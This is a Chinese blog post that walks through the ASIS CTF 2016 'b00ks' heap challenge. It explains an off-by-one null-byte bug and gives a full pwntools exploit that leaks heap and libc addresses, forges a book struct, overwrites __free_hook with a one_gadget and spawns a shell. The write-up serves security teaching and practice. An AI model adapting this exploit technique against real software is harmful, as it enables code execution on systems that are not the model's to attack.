美文网首页
Asis CTF 2016 b00ks

Asis CTF 2016 b00ks

作者: Sadmess | 来源:发表于2019-04-06 15:38 被阅读0次

    题目介绍

    题目是一个常见的选单式程序,功能是一个图书管理系统。

    1. Create a book
    2. Delete a book
    3. Edit a book
    4. Print book detail
    5. Change current author name
    6. Exit
    

    程序提供了创建、删除、编辑、打印图书的功能。题目是 64 位程序,保护如下所示。

    Canary                        : No
    NX                            : Yes
    PIE                           : Yes
    Fortify                       : No
    RelRO                         : Full
    

    结构体

    struct book
    {
        int id;
        char *name;
        char *description;
        int size;
    }
    

    漏洞

    signed __int64 __fastcall my_read(_BYTE *ptr, int number)
    {
      int i; // [rsp+14h] [rbp-Ch]
      _BYTE *buf; // [rsp+18h] [rbp-8h]
    
      if ( number <= 0 )
        return 0LL;
      buf = ptr;
      for ( i = 0; ; ++i )
      {
        if ( (unsigned int)read(0, buf, 1uLL) != 1 )
          return 1LL;
        if ( *buf == '\n' )
          break;
        ++buf;
        if ( i == number )
          break;
      }
      *buf = 0;
      return 0LL;
    }
    

    详细注释

    from pwn import *
    context.log_level="info"
    
    binary = ELF("b00ks")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")  #Ubuntu 18.04 libc2.27
    io = process("./b00ks")
    
    
    def createbook(name_size, name, des_size, des):
        io.readuntil("> ")
        io.sendline("1")
        io.readuntil(": ")
        io.sendline(str(name_size))
        io.readuntil(": ")
        io.sendline(name)
        io.readuntil(": ")
        io.sendline(str(des_size))
        io.readuntil(": ")
        io.sendline(des)
    
    def printbook(id):
        io.readuntil("> ")
        io.sendline("4")
        io.readuntil(": ")
        for i in range(id):
            book_id = int(io.readline()[:-1])
            io.readuntil(": ")
            book_name = io.readline()[:-1]
            io.readuntil(": ")
            book_des = io.readline()[:-1]
            io.readuntil(": ")
            book_author = io.readline()[:-1]
        return book_id, book_name, book_des, book_author
    
    def createname(name):
        io.readuntil("name: ")
        io.sendline(name)
    
    def changename(name):
        io.readuntil("> ")
        io.sendline("5")
        io.readuntil(": ")
        io.sendline(name)
    
    def editbook(book_id, new_des):
        io.readuntil("> ")
        io.sendline("3")
        io.readuntil(": ")
        io.writeline(str(book_id))
        io.readuntil(": ")
        io.sendline(new_des)
    
    def deletebook(book_id):
        io.readuntil("> ")
        io.sendline("2")
        io.readuntil(": ")
        io.sendline(str(book_id))
    
    createname("A" * 32)
    createbook(128, "a", 32, "a")  #为了对齐describe指针,就是前面book1结构体指针最低位被覆盖/x00后恰好和describe重合,这样不用补全偏移比较方便,另:不同环境情况不同,此法又漏洞,gdb调试即可发现,不细说了,解决方法暂补
    createbook(0x21000, "a", 0x21000, "b")#第二本书申请大内存,thread_arena会调用mmap申请内存,而这段内存相对于libc基址的偏移固定
    
    
    book_id_1, book_name, book_des, book_author = printbook(1)#打印book1信息,offbyone可以让结束符放到指针位置,而指针填充的时候结束符就消失了~~,打印作者可以泄露地址
    book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
    log.success("book1_address:" + hex(book1_addr))
    
    payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)#伪造假的book1,因为book1的指针可以控制为他的describe指针所指的位置,因此我们修改describe的内容相当于修改book1的内容,通过题目给定的函数操作可以达到任意地址读写
    editbook(book_id_1, payload)
    changename("A" * 32)#将book1结构体指针指向他的describe,现在describe的内容就是fake_book1
    
    book_id_1, book_name, book_des, book_author = printbook(1)#打印book1的内容,即可打印固定地址的值,这里打印book1_addr + 0x40处的值,其实就是book2的describe的地址
    book2_name_addr = u64(book_name.ljust(8,"\x00"))
    book2_des_addr = u64(book_des.ljust(8,"\x00"))
    log.success("book2 name addr:" + hex(book2_name_addr))
    log.success("book2 des addr:" + hex(book2_des_addr))
    libc_base = book2_des_addr - 0x5b9010#固定的地址偏移
    log.success("libc base:" + hex(libc_base))
    
    free_hook = libc_base + libc.symbols["__free_hook"]
    one_gadget = libc_base + 0x4f322 # 0x4f2c5 0x10a38c 0x4f322,one_gadget可以通过工具寻找 pip install one_gadget
    log.success("free_hook:" + hex(free_hook))
    log.success("one_gadget:" + hex(one_gadget))
    editbook(1, p64(free_hook))#将book1(其实是book2的describe的地址)的describe修改为free_hook的地址
    editbook(2, p64(one_gadget))#这时候修改book2的describe就是修改free_hook的值
    
    deletebook(2)#删除book2就会触发free,通过检查free_hook不是NULL,从而执行其指向的代码
    
    io.interactive()
    

    相关文章

      网友评论

          本文标题:Asis CTF 2016 b00ks

          本文链接:https://www.haomeiwen.com/subject/pyhkiqtx.html